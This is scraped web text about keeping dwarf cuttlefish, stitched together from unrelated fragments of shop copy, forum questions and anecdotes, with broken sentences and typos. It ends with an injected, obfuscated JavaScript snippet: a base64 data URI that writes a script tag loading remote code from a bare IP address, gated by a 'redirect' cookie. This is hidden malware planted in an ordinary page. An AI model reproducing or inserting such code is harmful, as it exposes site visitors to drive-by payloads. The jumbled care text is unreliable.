Do not feed with fresh water feeders such as goldfish for they are often treated with copper-based medicines and will poison your cuttlefish! Cuttlefish are very adept hunters and can take down prey three-to-four times their size. They readily take saltwater grass shrimp at any size, and we are proud to offer this live food source for sale as well. Here at Salty Revolution we stock a huge range of mobile inverts. Captive bred cuttles are hard to come by, as newborns are extremely difficult to raise to adulthood due to the demanding nutritional needs of the babies. In 2005, my search ironically lead me to Richard Ross of, a fellow cephalopod enthusiast living 20 minutes away. Acquiring a healthy cuttlefish remains a major challenge - J.W. Quick view. Scientific Name: Sepia spp./Sepia bandensis : Reef Compatible: Yes : Care Level: Expert-Only : Disposition: Aggrerssive : Minimum Tank Size: 50 gallons : Light Level Why do we do it then? At around three months, your cuttlefish should be about 1.5 inches or larger and are ready for larger food. Dwarf Cuttlefish (Sepia bandensis) : Anyone got care info, tips, etc. $39.99. It says in some article that the newly hatched Sepia bandensis needs small mysis shrimps to feed on. Sepia bandensis is the most commonly imported species - adult at 3" long. Other species do surface from time to time, but S. bandensis is the most commonly seen. K eeping a cuttlefish should be considered by diligent and advanced aquarists. This is an exclusive opportunity that is only being offered to experienced cephalopod keepers. *|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(,cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('